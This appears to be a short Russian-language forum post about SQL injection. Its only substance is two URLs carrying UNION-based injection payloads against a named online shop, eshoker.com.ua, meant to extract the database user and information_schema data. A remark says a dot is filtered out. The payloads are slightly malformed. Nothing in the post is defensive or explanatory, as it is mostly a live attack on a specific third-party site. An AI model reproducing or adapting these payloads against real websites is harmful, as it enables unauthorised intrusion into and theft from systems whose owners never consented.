Не все, точку например нельзя!
http://eshoker.com.ua/buy.php?id=9+and+1=0+union+select+1,user(),3,4,5,6 ,7,8,9,0,11,12,13,14,15,16,17,18,19,20+information _schema.table+--+&lang=ua
http://eshoker.com.ua/buy.php?id=9+and+1=0+union+select+1,user(),3,4,5,6 ,7,8,9,0,11,12,13,14,15,16,17,18,19,20+information _schematable+--+&lang=ua